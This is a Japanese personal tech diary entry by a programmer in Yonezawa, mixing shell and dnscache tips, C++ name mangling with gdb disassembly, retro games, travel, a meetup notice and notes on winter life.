Tipsなんか書いてみちゃったりして。 ↓DHCPとかで貰ってきたnameserverをdnscacheに食らわせる。
# echo `cat /etc/resolv.conf | while read x; do expr "$x" : 'nameserver \([0-9.:]*\)' && break ; done` > /service/dnscache/root/servers/@ # /usr/local/bin/svc -t /service/dnscache # cat <<EOS > /etc/resolv.conf nameserver 127.0.0.1 search 適当に。 EOS同じような手でinterface名からIPアドレスやMACアドレスを得たりして shell script中で動作変えたりすることができます。変数に入れるときは パイプの直後にgrepとかかましてwhileループに1行しか渡らないように しないと不幸かも。 その変数使って各種設定ファイルをでっちあげるにはm4とか使ってみたりします。
ネットワーク間を渡り歩く人間にとってnameserverのアドレスが ころころ変わられると困るのです。 ネットワーク変わる前/後でアプリケーションを起動しなおせばいいんですが、 サーバーとかだと名前がひけなくなったりしていやんです。 というわけでdnscacheを上げておけば127.0.0.1(::1)に固定できて とてもうれしいです。
もっとも。外部コマンドの出力とか、外部から与えられる変数とかに 依存するのって気をつけて使わないと大穴あけてしまいますね。
(昼) 間違ってSKKチュートリアル(C-x t)を起動してしまったので 久々にやってみました。最初にやったときは30分くらいかかったような記憶が あります...言われるままに 「UgoKounimoUgoKenakatta」と入れたら「動こうにも動けなかった」に なっていたときの衝撃は今でも忘れられません。(参考)
SKK使い始めて5年、 Qで未確定に戻すとか、補完のときに「.,」で候補を移動させられるとかは 全く使っておらず、すっかり忘れていました。覚えておこう。
(夜) ちびちびやっていた実家用マシンの設定を終えて出荷。途中 テンション下げる事故起きまくりで大変でしたがとりあえず形になりました。 やはりネットワークいじりは面白い。
JEDかぁ... CF-B5Rを修理に出してるときに臨時でLibretto20使ってたときに ちょっと使ってました。結局起動が遅いのがネックで使うのやめました。 勿論emacsよりはぜんぜん早いんですがそれでも2〜3秒はかかりますし、 vz -SW4 -zの頃からエディタの起動は一瞬じゃないと嫌だったので 我慢してemacs上げっぱなしにしてました。 gnuclient使えばmnews(Wanderlustは重くて使う気になれんかった)の エディタとして使うにも快適ですし。
しかしLibretto20買った当時はX入れてemacs入れてNetscape動かして...とかして 遊んでたんだよなあー 今では信じられません。 結局修理中もkon(またはTeraTerm)上でずっと作業してましたし。
今日はおでかけ。米沢〜福島間の土地を歩きまわってきました。
板谷駅から坂を登ること30分のところに「峠の茶屋」というお店があり、 折を見付けては立寄っているのですがここがまた非常に 落着くところで、おやっさんとおかみさん、それから お手伝いの方々、常連の方々とのんびり会話する時間はもう何年も 前から私にとって貴重なものとなっています。
で、例によっていろんなもんを御馳走になりました。今日はアケビの皮を 炒めたものを味噌和えにしたもの(けっこう苦いがそこがうまい)や、 果物たくさん、それからコーヒー などなど。注文したものより多くのもんを気前よく食べさせてくれます(^^;
そんなわけで板谷に立寄りの際はぜひ寄ってみてください。米沢在住の みなさんは、米沢を去るまでに一度は米沢〜福島間を旅してみることを おすすめします。 なおその茶屋で私の名前(やハンドル名)を言っても分からないと思いますが、 「芋煮が好きな歩きの兄ちゃん」と言えばたぶん一発だと思います。
先日、やややん、ひっきー兄貴、私のロリコン道の師である愛餓男師匠と、 師匠の車でこの茶屋を訪れたんですがひどく珍しがられました。 人のまったく通らん山道の途中にある茶屋で乗り物に乗ってきて 驚かれるというくらいの「歩きの兄ちゃん」はたぶん私くらいではないかなと。
あのkoboはいいものだ... 移植元のXKoboがすでにかなり素晴しい出来だったというのもあるんでしょうが、 移植したDavidさんの腕の確かさがまた光っております。 私のように、コンパイル→エラー除去→エラーなくなるまで繰り返し、 という移植しかできない人間にとっては非常に目が覚める作品とも言えます。
あとやっぱりボスコニアンが好きだったというのと、 そのテイストを感じさせつつアレンジがしっかりしている ゲームシステムでそこがまた好きです。ボスコニアンの「要塞攻めの楽しさ」 「空戦の楽しさ」のうち、「要塞攻め」の方に重点を置いた感じがします。 なので、ボスコニアンにおける「CONDITION REDで何秒耐えられるか」といった 遊びはXKoboではできないのがちょっと残念です。
よい子の基礎知識: ボスコニアンでは要塞が自機を見つけて敵機を放出すると CONDITION YELLOWになりますが、さらに..,
XKoboのソースはとっても読みやすいと思います。SKoboもかなりまとも。 私自身コメントってほとんどまったく入れない人間なので...他人様の ソースを見るときもコメントを頼りにしないほうです。その方が理解早いし。
まあ私の作るコードなど程度が知れていますが(;_;)
土曜だってのに平日よりもずっと早起きで(6時半起き)で寝不足のまま 歩きまわってその上ビールが入ってかなりふらふらなのでもう寝ます。ではまた。
昨日までの程良い疲れのおかげで異様にぐっすり眠れて異様に寝醒めがよかっ たです。 おおおーーーなんて心地良い寝醒めだーと思いつつ体を起こそうとしたら 全身に激痛が。どうやら電車に乗り遅れそうになって15分ほど坂道を走ったせいで ひどい筋肉痛になっているようです。なにしろ1本逃すと2時間待ちだからなあ... それにしても情けなし。
今日は卒業した研究室の「芋煮会」でした。芋煮会って何?という向きには googleで探していただくとして...同時に実家のCATV開通の日だったので 2杯ほど食ってさっさと帰ってきてしまいましたがなんか勿体なかったかも。
というわけで今度こそ帰省します。10/5〜10/9の予定。
「UUCP removal from OpenBSD」というのは本当なんでしょうか...時代やねえ。
ではまた。
さてさて10月に入ってしまいました。lanceの命もあと僅か。 lanceが落ちたらこの日記もいったんやめます。次にこういうことをやる 機会があったらきちんとannounceして、他人様からのreferenceも はりやすいようにするつもりです。
ボスコニアンは1981年のナムコの作品です。 私がやったのは10年後に発売された「ボスコニアン68k」の方です。 ボスコニアン68kの存在はずっと前から知っていましたが(古代祐三さんが 音楽やってたので)、初めてやったのはつい数年前のことです。 当時のナムコのゲームはなんかとっつき悪い感じがして敬遠していたんですが、 いざやってみると「深い」ものが多いですね。感動しました。
ボスコニアンはKoboよりはたぶん簡単です。Koboみたいな無茶な 攻められかたは(最初のうちは)あんまりないし(^^;
コメントについてはいろいろ生意気を書いておりますが、 Off準備ページ(6/12 昼分)で 書いた基本的な考えかたは今もあまり変わっていません。 何のために、誰のために、ということを分かった上で入れるコメントには 意味があると思いますし、それがばっちり決まっている人のコードは やっぱり素晴しいと思います。
私自身は、コメントに頼ると、 コードを綺麗に書く力とか、コードをきちんと読む力、などを 奪われてしまうような気がして。 それと、実際に動いてみないと設計の欠点が分からないような 見通しの甘い人間なんで、コードの変更が多すぎて コメントやドキュメントを最新に保つのが 大変なので、なるべくコードで完結させたいという気持があります。
コードで完結させるという努力は、きっと無駄にならないだろうと 私は考えておりますし、それをてっとり早く達成するには、コメントに 頼らないというのが一番かなと。
しかしそんな人間がソースツアーなんてものを やっているのは矛盾した行動か...
adasさんの日記にフォローしてみるテスト。 貴志祐介さんといえば私は「ISOLA」が好きです。 角川ホラー文庫から「13番目の人格-ISOLA-」という名前で出ています。 私にはホラーというよりはミステリという感じがしました(ミステリにしてはちょっと種明しが早いかもしれませんが...)
yuuさんここ読んでるかのう... 画像用意してEsetrootでいけませんか? うちだと 背景変わると同時にEtermの中の透け画像(他の言い方ないんか)も それに合わせてかわります。
そうかこれで GMS画像とかを置くと...
いつもありがとう。 うっかり不穏当なこと書いて面倒になった経験が過去に何度かあるので(自業自得) 日記公開は控えるようにしているのですが、 やっぱりもともとこういうのが好きなんで、たまにやりたくなっちゃうし、 書き始めるとどうしても書きすぎる傾向に... というわけで日記公開は いつも定時で終わることを前提にやっておりました。
しかし他人様に読まれることを意識する以上、出したりひっこめたりするのは 混乱のもとだし態度として卑怯よね。というわけで次回やることがあったら 腹くくってきちんと復活させます。
どちらかというと Joke Watchのプレッシャーが(^^; 楽しいからいいんですが、 待ってるひとがいるんだろうなとかちょっとでも考えちゃうとあれです。
今月は楕円曲線強化月間の予定です。あとSDLのドキュメントもっと増やしたい 計画が進行中です。牛歩戦術で。(なんでやねん)
(昼) あーうー、 でもほらソース追う過程はきっと血となり肉となり...ですよ、うん。 Etermはエスケープシーケンスでいろいろいじれるので、まずそれをいじってみるのも ありかなと。Etermドキュメント少ないので大変ですが...
Effective STL出てたんですね。訳はいつでるのかな。 また吉川さんだったらいいな。
Linkers & Loaders、すごい。ほしい。 しかしまだAdvanced Unix Programming読んでないのでおあずけか。
(夕方) おおう、私もまったく同じ動機で欲しいと思っております。ならば買え〉おれ
「ハッカー・プログラミング大全」は、私買いました。眠いときに読むと まったく頭に入ってこないですが(笑)実に面白いっす。Linux側の話だと ここ らへんも貴重な資料かなと。
今日もlanceに繋がりますね。いったいいつ止まるんだろう。
MAX_PATHに関する雑文、あげました。 勢いで書いてみましたが出来上がりのモノを見ると萎える...なんでこんなに 構成能力がないのだおれ。当初書こうと思っていた MAX_PATHの生い立ちや変遷についてがすっぽり抜けおちてるし。
なかべさんここ読んどるかのう...私はいつも楽しく読ませてもらってます。 倍数単位での切上げ(といっていいのか)は 私も昨日書いたばっかりだったのでおどろきました。 私のはこんな感じ。
/* source以上の最小となるbaseの倍数を求める */ template <typename T> inline T ceiling(T source, int base){ T tmp = source % base; if(tmp == 0) return source; return source - tmp + base; }さっさと一時変数確保したり、 ifで弾いてるところなんて間違っても1行でまとめようという気がないのが みえみえですね。そんな自分が好き。
ちなみにこのコードはinline展開に失敗すると...
(gdb) disas Dump of assembler code for function ceiling__H1Zi_X01i_X01: 0x80485cc <ceiling__H1Zi_X01i_X01>: push %ebp 0x80485cd <ceiling__H1Zi_X01i_X01+1>: mov %esp,%ebp 0x80485cf <ceiling__H1Zi_X01i_X01+3>: sub $0x14,%esp 0x80485d2 <ceiling__H1Zi_X01i_X01+6>: push %ebx 0x80485d3 <ceiling__H1Zi_X01i_X01+7>: mov 0x8(%ebp),%ecx 0x80485d6 <ceiling__H1Zi_X01i_X01+10>: mov %ecx,%eax 0x80485d8 <ceiling__H1Zi_X01i_X01+12>: cltd 0x80485d9 <ceiling__H1Zi_X01i_X01+13>: idiv 0xc(%ebp),%eax 0x80485dc <ceiling__H1Zi_X01i_X01+16>: mov %edx,%ebx 0x80485de <ceiling__H1Zi_X01i_X01+18>: mov %ebx,0xfffffffc(%ebp) 0x80485e1 <ceiling__H1Zi_X01i_X01+21>: cmpl $0x0,0xfffffffc(%ebp) 0x80485e5 <ceiling__H1Zi_X01i_X01+25>: jne 0x80485ec <ceiling__H1Zi_X01i_X01+32> 0x80485e7 <ceiling__H1Zi_X01i_X01+27>: mov %ecx,%eax 0x80485e9 <ceiling__H1Zi_X01i_X01+29>: jmp 0x80485fc <ceiling__H1Zi_X01i_X01+48> 0x80485eb <ceiling__H1Zi_X01i_X01+31>: nop 0x80485ec <ceiling__H1Zi_X01i_X01+32>: mov %ecx,%ebx 0x80485ee <ceiling__H1Zi_X01i_X01+34>: sub 0xfffffffc(%ebp),%ebx 0x80485f1 <ceiling__H1Zi_X01i_X01+37>: add 0xc(%ebp),%ebx 0x80485f4 <ceiling__H1Zi_X01i_X01+40>: mov %ebx,%eax 0x80485f6 <ceiling__H1Zi_X01i_X01+42>: jmp 0x80485fc <ceiling__H1Zi_X01i_X01+48> 0x80485f8 <ceiling__H1Zi_X01i_X01+44>: jmp 0x80485fc <ceiling__H1Zi_X01i_X01+48> 0x80485fa <ceiling__H1Zi_X01i_X01+46>: jmp 0x80485fc <ceiling__H1Zi_X01i_X01+48> 0x80485fc <ceiling__H1Zi_X01i_X01+48>: mov 0xffffffe8(%ebp),%ebx 0x80485ff <ceiling__H1Zi_X01i_X01+51>: leave 0x8048600 <ceiling__H1Zi_X01i_X01+52>: ret End of assembler dump. (gdb)いや〜ん見なきゃよかったわ〜。ちなみにceiling<int>です。 sub $0x14, %espってあんた...(;_;)
inlineで、かつbaseが2^nのときはシフト演算に展開されたりするのでしょうか。 興味はつきませんが時間が尽きそうです。
で、私だったらこんなふうに最適化しますぜーとか書こうとしましたが... andするとキャリーフラグってどう変化するんだっけ?とか思って30分。 うーむ見事に忘れております。昔はV30でずいぶん慣らしたんだがなあ...
というわけで少々お疲れぎみです。明日からしばらく神奈川に雲隠れの 予定です...ではでは。
(夜)↑の逆アセンブルリスト見て書きたくなったので書いてみます。 途中でわけわかんねーことになるかもしれませんが...
ceilingとして定義したはずの関数が なぜかceiling__H1Zi_X01i_X01などというすごい名前になっていることに お気付きでしょうか?
C++では関数はoverload(多重定義)できますが、それが同一の名前で アクセスできるのはC++上での話で、実際には別の関数であり、 別のsignatureとして配置されるわけですが、そのときに元の名前を いじって名前が重ならないようにするのをmanglingと呼びます。
manglingのいやんだけど身近な例としては、Windowsのロングファイルネームと、 その短縮名(8+3形式)の関係なんかがそうです。 「Program Files」が「Progra~1」になってしまう恐怖のあれです。 ロングファイルネームを manglingして短縮名に変換するのと同じようなことがC++の関数名にも 起きていると思ってください。そういやWindowsのファイル名のmanglingには バグがあるといわれていますが今は直ってるのかな?
manglingが必要なのはまあいいんですが、どのようなアルゴリズムで manglingすればいいのかはC++の規格では決まっておりません。 いわゆる処理系依存というやつです。 そのため、処理系AでコンパイルしたC++のライブラリを、 処理系BでコンパイルしたC++ソースから利用しようとすると... 同じルールでmanglingしていないと相手を特定できずに 落ちてしまいます(;_;)
ライブラリもそれを使うソースも同じコンパイラ、例えばg++とか 使えばいいのかもしれませんがそうでもないかもしれません。 実際g++には2種類のmangling algorithmが存在します(古い版と新しい版)ので...
そんなわけで、C++使ってると「クラス『ライブラリ』ってどうやって 作ればええのん?」という疑問が出てきます。クラスライブラリは まだマシな方かもしれません。「テンプレート『ライブラリ』ってどうやって 作るねん」となると...
御存知の通りテンプレートというのは型に依存しない汎用の 関数やクラスを作ることができるわけですが、これらは実際に 特定の型の関数やクラスが必要になったときに、コンパイル時に 展開されるわけです。しかしライブラリとしてリンクするとなると... 事前に必要な型を知ることはできませんから...
私の見る限りでは以下のようなアプローチがあるようです
結局何が言いたいのかといいますと...C++って仕様はめちゃ注意深く作られてて、 利用者が思わず引いてしまうような膨大なものになっていますが... 運用についてはあまり考えられていないんじゃねえのかという気が しまくりなのです。誰がコンパイラ作るねん、とか、世の中 static linkしかしない奴ばっかじゃないぞ、とか...
あー予想通り途中から眠い文章が続いてしまいました。C++って 悩ましい言語だ。の、一言でまとまりましたでしょうか?(まとまるか) ではまた。
(07:54) 米沢駅にいます。6時起床で風呂入って、片付けして荷作りして 掲示板に書き込みして...時間がなくなったのでタクシー出動(^^;←アホ
いやー念願のMAXです。というわけなので米沢〜福島間は奥羽線で 行きます。だって山形新幹線狭いんだも〜ん。
(夜) 新幹線使うとさすがに楽ですなあ。秋葉で買物して 14時過ぎにはもう帰宅しとりました。しばらくのんびりします。
とりいそぎ告知でございます。明日(10/7 Sun)、adasさんと 川崎でmini-offの予定です。参加者絶賛募集中です。
急なことで申し訳ありませんが、いけそうな方は 私かadasさんのメールアドレス(私のはzinnia@risky-safety.org)におしらせください。 御会いできることを楽しみにしております。tkfさん、掲示板では ご無沙汰ですが、御会いできたらいいなあ(ラブコール)
では、アゼリアタウンで僕とベアナックル握手!
よろしくおねがいします。
昨日、米沢帰還いたしました。帰りは在来線使ってみたり。 9時出発で19時到着。途中、上野で30分、宇都宮で10分、 新白河で30分、福島で1時間半の待ちがありましたので 電車に乗ってる時間は7時間といったところです。
川崎でのmini-offは実に楽しかったです。サンマもうまかったし。 喋ってるうちに、 SDLとC++はまだ夢見続けさせてくれるほどしっかりしているわけでは ないんだなあという印象を強くしました。 ここでまとめるよりは停滞中のSDL Introで書いた方がいいかなと 思いますので近日中に...
(昼) 幸か不幸か(たぶん不幸なんだろうが) VBいじる機会が多い私ですが、 そんな私にとって唯一の救いがVBUnitの 存在です。で、最近出来たvbUnit3はかなりよい感じ。 TestRunnerがadd-inとして実現されることになったため、Unit Testが より手軽に実行できるようになったようです。
ちなみにAdd-inは私にとって仕事中にストレスを発散できる数少ない題材です。 自分の開発環境をいじるためのものですから、理解に苦しむ要求に悩まされたり する必要もなく、もう趣味嗜好を爆発させて プログラムを書くことができるのです。 というわけでRubyUnit使ってadd-inの大部分をRubyで書いてみたり、 やりたい放題できます。
その成果物によって仕事の開発効率を 向上させることができるという名分もありますし、実際その通りに 効果があらわれればhacker's highになれます。
まあ.NETでここらへんのちまちました楽しみかたはご破算になる可能性が 高いわけですが...
薬というのは一日に飲む回数が決まっておるわけですが、 正しい時刻にきっちり飲むことがなかなか大変だったりします。 油断すると1日3回の薬を2回しか飲めなかったり。 薬を飲むタイミングは、たいてい食事がベースになっています。 食前、食後、食間。そもそも1日3回きちんと食えるような規則正しい生活ができる人が 体調崩すのかよとかいう乱暴な議論を思わずしてしまいたくなりますが、 それはともかく、私はつい数年前まで、
食間というのはさらに厳しいルールです。食前、食後なら、 薬を飲む時刻にあわせてものを食うということでなんとか クリアできますが、食間となると薬を飲む時刻を決めてその時刻が ちょうど食間となるように前後のめしの時刻を決めなければいけません。 うまく時刻を調節できたとしても、油断すると食間のつもりが 食前になってしまう薬というのがけっこうあります。 つまり何がいいたいのかというとカコナールまずすぎるんじゃ! この後味の悪さがあと数時間も続くのかと思うとかなりいやん。 そして私の机の傍らにはなぜかもみじ饅頭があります。食って楽になりたい。
(夕方) 空腹。しかし我慢。なぜなら食間だから(意味わからん)。
皆様、 セキュリティホールmemo メーリングリストの[memo:1558]からのthread をごらんになりましたでしょうか。 私は背筋が凍りました。baltimore.co.jp洒落になってないっすよ。
私は米沢に住んでそろそろ6年ですが、ほとんど暖房を使ってません。 最初の2〜3年は炬燵に頼ってたけど最近はそれも使ってないです(炬燵広げる 場所がないので)。 そんなわけで、
過冷却を見たのはまだ2度しかありません。水道が凍ったのはなんべんも あるけど。ただ寒いだけじゃ駄目らしいです。今日はこの冬一番の寒さじゃなかったかなあ。いまは天気がよくなったけど やっぱり予報で言われてたほど暖かいとは思えない。
水道の出が悪くなったのは、このアパートでは初めてのことだ。 このアパート、凍結防止のためになんかがんばってると聞いたことがあるが (だから家をあけるときでもブレーカーは落とすなと言われている)、 蛇口をひねって、一瞬「ガクン」って音がしたときには さすがにびっくりした。
とりあえずコップに水を入れて飲むが、いつになく冷たい。 ふとコップの中身を見ていたら、水の中にツブツブが浮いていることに 気づいた。そのツブツブはだんだん数が増えて、しまいにはコップ全体に 広がってキラキラ光りだした。キラキラの動きが鈍くなっていって、 あっと思ったら次の瞬間にシャーベット状に固まってしまった。
テレビなどで何度か見たことがあったが、実際に「過冷却」現象を 見たのはこれが初めてのことだ。水がキラキラ光って、固まっていく様子には かなり感動してしまった。シャーベット状になった水を記念撮影(笑)
米沢だと最低気温が-10度以下になることはまずありません。 室温が氷点下になった日は一日もないです(最低は1度)。 というわけで、寒さそのものは、↑で書いたような困難を除けば どうってことないと思うわけですが、 やっぱり雪で外出歩くのが不便になるのはけっこう辛いし、強烈な 重装備のせいで部屋の中での機動力が下がるのも辛い。
しかし一番困るのは「冷凍庫が動かない」ことだったりします。 御存知の通り冷凍といえば食品を保存するには非常に効果的な 方法です。うちの冷蔵庫は関東で買ったのがまずかったのか(冷蔵庫に 寒冷地仕様ってあるのか?)、古くなってへたれてきたのか、 周囲が寒すぎて熱交換ができないのか、 ともかく冬場は最大パワーにしても冷凍庫が作動しません。 まあ冷凍庫に入れときゃ物は凍らないので凍ってほしくないものを 冷凍庫に入れるという手もありますがそれじゃ冷凍庫じゃねー
そもそもなんで暖房を使わないのかというと、もともと 今住んでるアパートは冷暖房つきという条件で契約したのですが、 いざ住んでみると冷房しかついてなかったのです。 で、不動産屋に文句言っていずれつけかえてもらうことになっていたのですが、 結局うやむやのままで...あからさまに逃げ腰だったので 期待できんなと思っていましたが 1年後にこのアパートの管理は別の不動産屋に変わっていました。 元の不動産屋は米沢から撤退したようです。
以来、意地でも自分の金で暖房入れてやんねーと思い現在に至ります。 暖房なしの生活でもわりと平気だったということで、今となっては 別に各種リスク(火事とか乾燥とか)や手間(灯油の仕入れとか)とか 金かけてまで導入することもないなという境地になっております。
まあそのおかげで冬になると1回は強烈に体調崩すんですが...
というわけで今回は「寒いネタ」でした。 (今までのネタだって寒かったじゃんとか言う奴は食ってやる)
昨日、ついにee5lance.ee5.yz.yamagata-u.ac.jpへの経路が途絶えました。 2年間ご苦労様〉lance